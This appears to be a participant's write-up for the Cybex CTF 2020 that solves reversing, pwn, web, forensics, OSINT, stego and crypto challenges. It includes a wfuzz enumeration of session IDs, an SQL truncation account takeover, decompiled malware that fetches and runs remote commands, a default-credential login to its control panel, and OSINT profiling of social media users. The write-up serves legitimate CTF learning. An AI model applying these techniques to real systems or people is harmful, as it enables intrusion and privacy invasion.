Cybex CTF 2020 (English)
Content
Cybex 2020 Challenges Writeup#
Reversing#
Serial#
.NET executable, using IDA we get the flag directly, since it is not obfuscated.
Loadme#
For this challenge I used GHidra, although IDA could have worked exactly the same. Looking at the functions that the DLL exports, we see “catchMe”. Inside it, we can see an array of values in hexadecimal, to which an XOR is applied in a for loop. Applying the XOR key of the loop to the hexadecimal array we obtain the flag.
Terrorist Key#
In this challenge we have an obfuscated JS that generates keys. Given the terrorist’s key, we will have to reverse the JS to find out what the original name, surname and date used to generate the password.
Step 1: Clean up unnecessary code and rename variables
function generate() {
let nameHolder = $("#nameHolder").val().toLowerCase();
let surname1Holder = $("#surname1Holder").val().toLowerCase();
let surname2Holder = $("#surname2Holder").val().toLowerCase();
var regex = /^[A-Za-z]+$/;
if (
!nameHolder.match(regex) |
!surname1Holder.match(regex) |
!surname2Holder.match(regex)
) {
alert("¿Desde cuando un nombre tiene números o espacios?");
return;
}
if (
(nameHolder.length > 10) |
(surname1Holder.length > 10) |
(surname2Holder.length > 10)
) {
alert("El nombre o los apellidos no pueden superar los 10 caracteres");
return;
}
if (
(nameHolder.length < 1) |
(surname1Holder.length < 1) |
(surname2Holder.length < 1)
) {
alert("¿No tienes nombre o que?");
return;
}
let longestSurname;
let currentDate = new Date();
let day = currentDate.getDate();
let month = currentDate.getMonth() + 1;
let year = currentDate.getFullYear();
let key = "";
let key1 = "";
let name = nameHolder;
if (name.length < day) {
let _0xfa92xe = day - nameHolder.length;
for (let i = 0; i < _0xfa92xe; i++) {
name += nameHolder.charAt(i % nameHolder.length);
}
}
let surname1 = surname1Holder;
if (surname1.length < day) {
let _0xfa92xe = day - surname1Holder.length;
for (let i = 0; i < _0xfa92xe; i++) {
surname1 += surname1Holder.charAt(i % surname1Holder.length);
}
}
let surname2 = surname2Holder;
if (surname2.length < day) {
let _0xfa92xe = day - surname2Holder.length;
for (let i = 0; i < _0xfa92xe; i++) {
surname2 += surname2Holder.charAt(i % surname2Holder.length);
}
}
let userdata = [name, surname1, surname2];
let 3 = userdata.length;
for (let i = 0; i < month; i++) {
key1 += userdata[i % 3].charAt(day - 1);
}
let qwertypoasz = "qwertypoasz";
let formattedDate = String(day + month + year);
formattedDate.split("").forEach(c => {
if (c > qwertypoasz.length) {
key1 += qwertypoasz.charAt(c % qwertypoasz.length);
return;
}
key1 += qwertypoasz.charAt(c);
});
let key2 = "";
if (surname1Holder.length != surname2Holder.length) {
if (surname1Holder.length > surname2Holder.length) {
longestSurname = surname1Holder.length;
} else {
longestSurname = surname2Holder.length;
}
} else {
longestSurname = surname1Holder.length;
}
for (let i = 0; i < longestSurname; i++) {
if (i < surname1Holder.length) {
key2 += String.fromCharCode(
((surname1Holder.charCodeAt(i) - 97 + month) % 26) + 97
);
}
if (i < surname2Holder.length) {
key2 += String.fromCharCode(
((surname2Holder.charCodeAt(i) - 97 + month) % 26) + 97
);
}
}
let key3 = "";
let _0xfa92x19 = surname2Holder + surname1Holder;
name = nameHolder;
for (let i = 0; i < name.length; i++) {
key3 += String.fromCharCode(
((name.charCodeAt(i) -
97 +
_0xfa92x19.charCodeAt(i % _0xfa92x19.length) -
97) %
26) +
97
);
}
let key4 = "";
let aopqmnzgxbcv = "aopqmnzgxbcv";
let _0xfa92x1c = String(year + surname2Holder.length);
_0xfa92x1c.split("").forEach(c => {
key4 += aopqmnzgxbcv.charAt(c % 12);
});
key4 += aopqmnzgxbcv.charAt(
surname1Holder.length % aopqmnzgxbcv.length
);
// asfaeqew-swygxsmjwmiph-ccbnmp-paann
key += key1 + "-";
key += key2 + "-";
key += key3 + "-";
key += key4;
$("#resultHolder")["val"](key);
}
Step 2: break the key into pieces and recover each piece of data separately.
function generate() {
let nameHolder = $("#nameHolder").val().toLowerCase();
let surname1Holder = $("#surname1Holder").val().toLowerCase();
let surname2Holder = $("#surname2Holder").val().toLowerCase();
var regex = /^[A-Za-z]+$/;
if (
!nameHolder.match(regex) |
!surname1Holder.match(regex) |
!surname2Holder.match(regex)
) {
alert("¿Desde cuando un nombre tiene números o espacios?");
return;
}
if (
(nameHolder.length > 10) |
(surname1Holder.length > 10) |
(surname2Holder.length > 10)
) {
alert("El nombre o los apellidos no pueden superar los 10 caracteres");
return;
}
if (
(nameHolder.length < 1) |
(surname1Holder.length < 1) |
(surname2Holder.length < 1)
) {
alert("¿No tienes nombre o que?");
return;
}
let longestSurname;
let currentDate = new Date();
let day = currentDate.getDate();
let month = currentDate.getMonth() + 1;
let year = currentDate.getFullYear();
let key = "";
let key1 = "";
let name = nameHolder;
if (name.length < day) {
let diff = day - nameHolder.length;
for (let i = 0; i < diff; i++) {
name += nameHolder.charAt(i % nameHolder.length);
}
}
let surname1 = surname1Holder;
if (surname1.length < day) {
let diff = day - surname1Holder.length;
for (let i = 0; i < diff; i++) {
surname1 += surname1Holder.charAt(i % surname1Holder.length);
}
}
let surname2 = surname2Holder;
if (surname2.length < day) {
let diff = day - surname2Holder.length;
for (let i = 0; i < diff; i++) {
surname2 += surname2Holder.charAt(i % surname2Holder.length);
}
}
//key 1: asfaeqew
let userdata = [name, surname1, surname2];
for (let i = 0; i < month; i++) {
// asfa: 4 chars, el mes es 4.
key1 += userdata[i % 3].charAt(day - 1);
}
let qwertypoasz = "qwertypoasz";
let formattedDate = String(day + month + year);
formattedDate.split("").forEach(c => {
// eqew --> 2021, el mes es 4 --> 2017 = dia + año --> FINAL: año es 1997, dia es 20
if (c > qwertypoasz.length) {
key1 += qwertypoasz.charAt(c % qwertypoasz.length);
return;
}
key1 += qwertypoasz.charAt(c);
});
let key2 = ""; // swygxsmjwmiph --(-4)--> osuctoifsield
// Apellido 1 *length 5*: outis
// Apellido 2 *length 8*: scofield
if (surname1Holder.length != surname2Holder.length) {
if (surname1Holder.length > surname2Holder.length) {
longestSurname = surname1Holder.length;
} else {
longestSurname = surname2Holder.length;
}
} else {
longestSurname = surname1Holder.length;
}
for (let i = 0; i < longestSurname; i++) {
if (i < surname1Holder.length) {
key2 += String.fromCharCode(
((surname1Holder.charCodeAt(i) - 97 + month) % 26) + 97 // 97 es 'a' en la tabla ASCII
);
}
if (i < surname2Holder.length) {
key2 += String.fromCharCode(
((surname2Holder.charCodeAt(i) - 97 + month) % 26) + 97 // 97 es 'a' en la tabla ASCII
);
}
}
let key3 = ""; // ccbnmp
let prekey = surname2Holder + surname1Holder; // scofieldoutis
name = nameHolder;
for (let i = 0; i < name.length; i++) {
key3 += String.fromCharCode(
((name.charCodeAt(i) - 97 + prekey.charCodeAt(i % 13) - 97) % 26) + 97 // Vigenere decode with key scofieldoutis --> kaniel
);
}
let key4 = "";
let aopqmnzgxbcv = "aopqmnzgxbcv"; // PENULTIMO: paan --> 2005, length de surname2 es 8, año es 1997
let _0xfa92x1c = String(year + surname2Holder.length);
_0xfa92x1c.split("").forEach(c => {
key4 += aopqmnzgxbcv.charAt(c % 12);
});
key4 += aopqmnzgxbcv.charAt(
surname1Holder.length % aopqmnzgxbcv.length //
);
// asfaeqew-swygxsmjwmiph-ccbnmp-paann
key += key1 + "-";
key += key2 + "-";
key += key3 + "-";
key += key4;
$("#resultHolder")["val"](key);
}
Flag: CYBEX{KANIEL-OUTIS-SCOFIELD:20-04-1997}
nArrow#
We have a, literally, arrow-shaped JavaScript.
"function chequea_flag(f){
s=i=>i.replace(/./g,o=>
\"936\"+o.charCodeAt())
z=s=>s.split``;i=18
a=z(s(1398+'7')).
join(++i)+\"652\"
s=z=>z===a+37
if(s(f+=237
))alert`!
!`;else
alert
`B`
}"
Cleaning and formatting the code:
function chequea_flag(f) {
s = i => i.replace(/./g, o => "936"+o.charCodeAt())
z = s => s.split ``
i = 18
a = z(s(1398 + '7')).join(++i) + "652"
s = z => z === a + 37
if (s(f += 237)) alert `!!`;
else
alert `B`
}
We evaluate in the browser the first 5 lines, since they are constant and do not depend on the flag parameter f, obtaining:
9193196194199199193196195191199193196195197199193196195196199193196195195652
so the flag is “CYBEX {919319619419919919319619519119919319619519719919319619519619919319619519565}” (without the last 2)
Pwn#
Integer Operations#
The int data type in languages like C and Java is limited to 32 bits, so the valid range of values it can take is between 2147483647
and -2147483648
.
Taking this into account, we can quickly make the first two steps by sending values close to that limit so that an overflow occurs (2147483647 + 1 = -2147483648
, -2147483648 - 1 = 2147483647
)
Step 3: We are asked to obtain 1337
with the sum of you numbers strictly greater than 1337
X: 4294967294 (maxint * 2) ---> -2.
Y: 1339
Adding both numbers gives us 1337, the requested number.
Step 4:
x > 1337
x² - 153153 = 417061379
X**2 = 417214532
To solve it I wrote the following code in Java (In Python it is more difficult since the numbers in Python do not have the same limitation as C and Java).
public static void main(String[] args) {
for (int i = 1337; i < Integer.MAX_VALUE; i++) {
int result = i * i - 153153;
if(result == 417061379){
System.out.println(i);
}
}
}
The previous fragment calculates by brute force all the numbers that meet the requested condition, which gives us:
132654
1073609170
1073874478
2147350994
Using for example the smallest of them we obtain the flag: CYBEX {man_Im_gonna_quit_programming_who_tf_knew_signed_primitive_data_types_are_so_delicate_and_truncable}
Web#
Unsafe Behaviour#
In the first web challenge, we have a simple login form:
If we open the inspector the browser does strange things, what is happening? There may be Javascript code that is interfering with the browser itself, so we disable Javascript with any browser plugin for it, such as NoScript, and reload the page to analyze the code.
Reviewing the only JS on the page, we found the requested username and password, admin and hunter2. With Javascript disabled to avoid redirecting us to the index.html, we login and obtain the flag.
Flag: CYBEX{Cl13nT_s1D3_v4l1D4TIOn}
Celebrities Keep A Secret#
When accessing the page we see that a profile is loaded using a POST with the parameter idsesion
.
To identify all valid values for that parameter, we will use the wfuzz
tool:
wfuzz -z range,0-10000 --hh 2069 -d "idsesion=FUZZ" http://51.38.191.113:1338/c7303adc0/miperfil.php
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001846: 200 65 L 129 W 2134 Ch "1845" --> Chema Alonso, password INMUERKYPMYV63BRNMZV65BQL5TTA43TGFYH2===
000001992: 200 65 L 129 W 2125 Ch "1991" --> Julio Urena, pasword OF2WK5DBNRUW4Z3FNZUWK4TPOM======
000001996: 200 65 L 128 W 2137 Ch "1995" --> IppSec, password NFWG65TFNBQWG23UNBSWE33Y
000001995: 200 65 L 128 W 2112 Ch "1994" --> s4vitar, password NBSXS3LVPFRHKZLOMFZWC5DPMRXXG43PPFZTI5TJORQXE===
The password of each user are found in the web’s HTML. After decoding the password of Chema Alonso with base32, we get the flag:
Flag: CYBEX{1_l1k3_t0_g0ss1p}
Coronao#
Using the source code available in the author’s repository we see that it is vulnerable to SQL Truncation.
To exploit the vulnerability, we registered an account with user admin 1
(admin followed by 6 spaces and any other character) and a password known only to us. We login as admin
and the chosen password.
More information on how this attack works.
Forense#
People are bad#
Reviewing the strings of the file, we see interesting functions that make us suspect that we could be facing a Python program.
Reviewing various documentation (especially interesting https://blog.attify.com/flare-on-6-ctf-writeup-part7/), we extract all the files and decompile the entry point. To decompile the file, it is necessary to rebuild the headers first, for which we will use a simple python code compiled by us.
poltatil@kali:~/CybexCTF/Forensic$ python3
Python 3.7.7 (default, Apr 1 2020, 13:48:52)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import py_compile
>>> py_compile.compile('test.py')
'__pycache__/test.cpython-37.pyc'
>>> exit()
poltatil@kali:~/CybexCTF/Forensic$ ls -lshA
total 7.1M
4.0K -rw-r--r-- 1 poltatil poltatil 16 Apr 5 01:39 header
4.0K drwxr-xr-x 2 poltatil poltatil 4.0K Apr 5 01:43 __pycache__
16K -rw-r--r-- 1 poltatil poltatil 13K Apr 5 01:21 pyinstxtractor.py
4.0K drwxr-xr-x 15 poltatil poltatil 4.0K Apr 5 01:35 python-decompile3
4.0K drwxr-xr-x 5 poltatil poltatil 4.0K Apr 5 01:21 python-exe-unpacker
4.0K drwxr-xr-x 15 poltatil poltatil 4.0K Apr 5 01:33 python-uncompyle6
4.0K -rw-r--r-- 1 poltatil poltatil 352 Apr 5 01:40 ready.pyc
4.0K -rw-r--r-- 1 poltatil poltatil 14 Apr 5 01:37 test.py
4.0K -rw-r--r-- 1 poltatil poltatil 336 Apr 5 01:35 WD.pyc
7.0M -rw-r--r-- 1 poltatil poltatil 7.0M Apr 5 01:13 WindowsDefender.exe
4.0K drwxr-xr-x 3 poltatil poltatil 4.0K Apr 5 01:25 WindowsDefender.exe_extracted
poltatil@kali:~/CybexCTF/Forensic$ xxd __pycache__/test.cpython-37.pyc
00000000: 420d 0d0a 0000 0000 371a 895e 0e00 0000 B.......7..^....
00000010: e300 0000 0000 0000 0000 0000 0002 0000 ................
00000020: 0040 0000 0073 0c00 0000 6500 6400 8301 .@...s....e.d...
00000030: 0100 6401 5300 2902 5a04 686f 6c61 4e29 ..d.S.).Z.holaN)
00000040: 01da 0570 7269 6e74 a900 7202 0000 0072 ...print..r....r
00000050: 0200 0000 fa07 7465 7374 2e70 79da 083c ......test.py..<
00000060: 6d6f 6475 6c65 3e01 0000 00f3 0000 0000 module>.........
poltatil@kali:~/CybexCTF/Forensic$
poltatil@kali:~/CybexCTF/Forensic$ echo -n -e '\x42\x0d\x0d\x0a\x00\x00\x00\x00\x37\x1a\x89\x5e\x0e\x00\x00\x00' > header
poltatil@kali:~/CybexCTF/Forensic$ cat header WD.pyc >ready.pyc
poltatil@kali:~/CybexCTF/Forensic$ decompyle3 ready.pyc
# decompyle3 version 3.3.2
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.7 (default, Apr 1 2020, 13:48:52)
# [GCC 9.3.0]
# Embedded file name: Windows Defender.py
# Size of source mod 2**32: 14 bytes
import requests
from os import system
r1 = requests.get('https://cybexsec.es/pabc2/command1.txt')
r2 = requests.get('https://cybexsec.es/pabc2/command2.txt')
while 1:
if r1.text != '':
if r2.text != '':
system(r1.text)
system(r2.text)
exit()
# okay decompiling ready.pyc
Reviewing the commands that the Malware will execute we see a second stage, but it does not seem to have anything interesting.
In the base URL we see the C&C login page: https://cybexsec.es/pabc2/
Accessing with the known admin / admin, we obtain the following base32 that will give us the flag.
INMUERKYPNLTGXZUOIZV6NDMNRPXO4RQNZTV64ZQNUZXIMLNGN6Q====
Flag: CYBEX{W3_4r3_4ll_wr0ng_s0m3t1m3}
Redes#
¿Un PCAP otra vez?#
In one of the posts to the login URL we have a somewhat strange password, considering that it should go in plain text:
Form item: "pw" = "FXL2DaZ5PdWdQXZ5Dqt2PdL5QNPoD2WaEUEzFNVoEdWbEdH4EqRnDKPqPKx1DUPqP2LpFKQyEqAcPaPoEax5PqD0QKczEUt4EaMcDdZnD2QyQKWzDNV2DUcaDKx5Dqx5QaH1QNZ5EaV2PaH5PqLoEKWbQUP0DaZoPqczPNHoDaD="
Doing “rot 9” and “from base64” using CyberChef we obtain the following hexadecimal hash:
376be9ef13ac43b9a16ad6d8700163a85063ce296a72eb61689c34e9b47865e2b03fae1b1a609c189389f45eb9616b49c5151dd64221c9bad123
Given the length of 512, it is possible that it is a SHA512 hash, looking at CrackStation we see that it has already been cracked.
Flag: CYBEX{pandora}
OSINT#
Ritual#
It looks like an abandoned hospital, Googling “barcelona abandoned hospital” we get a Wikipedia page.
https://es.wikipedia.org/wiki/Hospital_del_T%C3%B3rax_(Tarrasa)
Flag: CYBEX{hospitaldeltorax}
CTF{Catch The Rebel}#
Using Yandex’s reverse search function, we get a similar image:
Which takes us to the following FourSquare page:
Testing several of the nearby streets we get the correct one, roseavenue.
Flag: CYBEX{roseavenue}
Operación retorno#
We are given a [SoundCloud profile] (https://soundcloud.com/moukeb_alahzan)
Searching in Google we get a match on Facebook, possible profile of the author:
In the Facebook link post itself, we have two more people, one who likes
And another one that leaves a comment
Not everyone has weapons in his profile picture, and he is in military attire, lets look for more.
Thoroughly reviewing his profile we see a long text with possible interests of the subject.
Translating all his interests, the following excerpt draws our attention:
Checking the link, we access a somewhat shady public Facebook group.
Inside we can see an interesting comment that draws our attention for being a province of the target country.
Translating the comment
In Google Maps we can see its most important cities.
Testing Nasiriya aaaand correct :D
Flag: CYBEX{nasiriya}
Esteganografía#
¿Dónde están mis llaves?#
Using the stegcracker
tool on the provided image, we get the following message in Spanish:
cat Tesla.jpg.out
Parece que has perdido las llaves de tu nuevo coche... Ya te vale.
Menos mal que al comprarlo podías poner una contraseña para que se abriera.
Ahí va:
CYBEX{Nm4p_y_p4_d3ntr0}
La próxima vez ves con mas cuidado.
You know, “nmap and go?”.
Beep Boop#
The name and the challenge description give us a clue about the steganography program we have to use, DeepSound.
Looking at the list of passwords, it can be seen that most of them are simple except one. Instead of guessing which one is correct, we could have used the deep2john
tool and then crack it using john
with the provided dictionary.
Of the 7 extracted images extracted with DeepSound, number 7 has a hidden base64 czNjcjN0cDRzc3cwckQhKg == -> s3cr3tp4ssw0rD! *
Using binwalk
we find and extract a zip, with the pw we extract the flag.
poltatil@kali:~/CybexCTF/Stego$ binwalk --dd='.*' image07.PNG
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 540 x 277, 8-bit colormap, non-interlaced
1029 0x405 Zlib compressed data, best compression
94181 0x16FE5 PNG image, 540 x 277, 8-bit colormap, non-interlaced
95055 0x1734F Zlib compressed data, best compression
187948 0x2DE2C Zip archive data, encrypted at least v1.0 to extract, compressed size: 33, uncompressed size: 21, name: flag.txt
188141 0x2DEED End of Zip archive, footer length: 22
poltatil@kali:~/CybexCTF/Stego$ ls
BeepBoop.zip hellofriend.wav image02.jpg image04.PNG image07.PNG Tesla.jpg weird.txt
Documents.zip image01.jpg image03.PNG image06.jpg _image07.PNG.extracted Tesla.jpg.out
poltatil@kali:~/CybexCTF/Stego$ cd _image07.PNG.extracted/
poltatil@kali:~/CybexCTF/Stego/_image07.PNG.extracted$ ls
0 16FE5 1734F 1734F-0 2DE2C 2DEED 405 405-0
poltatil@kali:~/CybexCTF/Stego/_image07.PNG.extracted$ files ./*
bash: files: command not found
poltatil@kali:~/CybexCTF/Stego/_image07.PNG.extracted$ file ./*
./0: PNG image data, 540 x 277, 8-bit colormap, non-interlaced
./16FE5: PNG image data, 540 x 277, 8-bit colormap, non-interlaced
./1734F: empty
./1734F-0: zlib compressed data
./2DE2C: Zip archive data, at least v1.0 to extract
./2DEED: Zip archive data (empty)
./405: empty
./405-0: zlib compressed data
poltatil@kali:~/CybexCTF/Stego/_image07.PNG.extracted$ unzip ./2DE2C
Archive: ./2DE2C
[./2DE2C] flag.txt password:
extracting: flag.txt
poltatil@kali:~/CybexCTF/Stego/_image07.PNG.extracted$ cat flag.txt
CYBEX{mR_R0b0T_FtW!}
Flag: CYBEX{mR_R0b0T_FtW!}
Criptografía#
Alfin esta en la base#
The name of the challenge tells us everything we will need to solve it.
Challenge text:
ubddprak: X1iHAMw7YlswY2MjV29jkWCwYTQ9
Affine cypher: https://www.dcode.fr/affine-cipher
Control + F of “password” in order to find the valid one, convert from base64 to ascii.
Flag: CYBEX{flagencontrada}
Roma#
Cesar cypher, try different rotations until you find the correct one.
Flag: CYBEX{al_cesar_lo_que_es_del_cesar}
Potencial / Intensidad#
Potencial / Intensidad = Resistencia :D
In this challenge we have a txt consisting of upper and lower case letters (two different states) in columns of 8.
aPoRelbo eOEeEcoM dINComoD nVIVaIgN TIUsNotE ueDesmoñ cONIamoc eSEnunnE eROviVAN oSPachaC osDimela aNDaNGui aELdineR toPeroqu hAPacHaD sONLasDO eYMEdIap sADasquE aNCInCom nUTOsDeE tREvistA ueGrANde arEjodan oELSOfAy uEPeRROE iGNAtiUs aVAJeaNd lODaVIDE alMiRANt alriGhTg isonYlAn eVejunTO oNrICarD vIvanlOs aChacHoS uRcIAnoe iSTEElDI eRItOLos acHAcHos uEpACHAC nLOSpaCh chOChaPO eLBOteEE ooEEeeeA oRELboTE eEOEeEee coMOdiIN oMOdINNc mODiiiIN omODinnV vaNLoSpa hAcHOCHV vAIgNAtI slOSpach cHOsBRon anIXlOsp cHACHOcH
The hint that the capitals are “finer” makes us suspect that they might be encoding binary information. Using the search and replace function of any text editor, with the following two regular expressions:
"[a-zñ]" por 0
"[A-ZÑ]" por 1
We obtain:
01010000 01101001 01110001 01110101 11101001 00100001 01110000 01100001 01100111 01100001 00100000 01101100 01100001 00100000 01100101 01110011 01110100 01100001 01110100 01110101 01100001 00101100 00100000 01111010 01101111 01110010 01110010 01101111 00101110 00001010 00001010 01000011 01011001 01000010 01000101 01011000 01111011 01101100 00110100 01011111 01110010 00110011 01110011 00110001 01110011 01110100 00110011 01101110 01100011 00110001 00110100 01011111 01101101 00110000 01101100 00110100 01111101
Converting from binary to text we get the flag.
Flag: CYBEX{l4_r3s1st3nc14_m0l4}
¿Una copa?#
Solved after finishing the CTF, thanks to a hint from Oreos.
The text is encrypted with the Fermat algorithm (hints: the file is called MyWine, it talks about drinks in the description …).
24u2gKKqq5qyngxNt1hYwPv70haH1WndybjAO982sfI=
gAAAAABeSa9-bUDh_wGABM9fJRORU_FRPBIHpZcskNsieSRPiC37RXZBKJHtfQRKh7FgGwTaIrtNaSoHmWTO7s7Bc03o83NLEEfMrjlecjgrmZLFsSbka5t3CaNm--qrKiL0VlakyW1mAu9sCXx571BX63rOdNcpQyjJDAatTBmpPStFaUR3Lpv1RCtYxA-X6m_8uCfQ7v180xVCSoVtAeS40Ovs8sUp9uIZ0ReQgNu82i9kKOGHgZJAoS2yaDCUDfsWLZ6l-NOX
Since we have the key, we can decrypt it directly using this tool.
Decoded: NB2HI4DTHIXS6ZDSNF3GKLTHN5XWO3DFFZRW63JPMZUWYZJPMQXTCY2OKR4GO5TXO44DMM2QNNPUOY2SMF4WM2KGGJQWC53LKZVVM3KLF53GSZLXH52XG4B5ONUGC4TJNZTQU===
Date created: Sun Feb 16 21:09:18 2020
Current time: Wed Apr 8 00:31:10 2020
======Analysis====
Decoded data: 80000000005e49af7e6d40e1ff018004cf5f25139153f1513c1207a5972c90db2279244f882dfb4576412891ed7d044a87b1601b04da22bb4d692a079964ceeecec1734de8f3734b1047ccae395e72382b9992c5b126e46b9b7709a366fbeaab2a22f45656a4c96d6602ef6c097c79ef5057eb7ace74d7294328c90c06ad4c19a93d2b456944772e9bf5442b58c40f97ea6ffcb827d0eefd7cd315424a856d01e4b8d0ebecf2c529f6e219d1179080dbbcda2f6428e187819240a12db26830940dfb162d9ea5f8d397
Version: 80
Date created: 000000005e49af7e
IV: 6d40e1ff018004cf5f25139153f1513c
Cipher: 1207a5972c90db2279244f882dfb4576412891ed7d044a87b1601b04da22bb4d692a079964ceeecec1734de8f3734b1047ccae395e72382b9992c5b126e46b9b7709a366fbeaab2a22f45656a4c96d6602ef6c097c79ef5057eb7ace74d7294328c90c06ad4c19a93d2b456944772e9bf5442b58c40f97ea6ffcb827d0eefd7cd315424a856d01e4b8d0ebecf2c529f6
HMAC: e219d1179080dbbcda2f6428e187819240a12db26830940dfb162d9ea5f8d397
======Converted====
IV: 6d40e1ff018004cf5f25139153f1513c
Time stamp: 1581887358
Date created: Sun Feb 16 21:09:18 2020
Converting the base32 to text we get an image hosted in Google Drive
Using steghide
without a password we get the flag:
poltatil@kali:~/CybexCTF/Crypto$ steghide info SomeFermet.jpg
"SomeFermet.jpg":
format: jpeg
capacity: 4.5 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "ImNotAFlag.txt":
size: 30.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
poltatil@kali:~/CybexCTF/Crypto$ steghide extract -sf SomeFermet.jpg
Enter passphrase:
wrote extracted data to "ImNotAFlag.txt".
poltatil@kali:~/CybexCTF/Crypto$ cat ImNotAFlag.txt
CIBEX{fernet_is_brainfucking}
poltatil@kali:~/CybexCTF/Crypto$
Flag: CIBEX{fernet_is_brainfucking}
QorR#
File with bmp
extension, but it cannot be opened with any viewer, and neither file
nor binwalk
can identify it.
Checking the headers, they may have been modified. Considering that according to the standard the correct headers should start with 0x42 0x4D 0x42 0x6d 0x00 0x00
, XORing said bytes with the beginning of the file we obtain the XOR encryption key, which also appears repeated throughout the file.
(If you encrypt 00000 -> Key XOR 00000 = Key)
XORing the whole image with the recovered key we obtain the following QR:
Doing QRDecode in Cyberchef or zxing we get the flag: CYBEX{QRONAO}
Conclusiones#
Thanks to the organizers for making such a varied and interesting CTF, I would love to participate in future editions.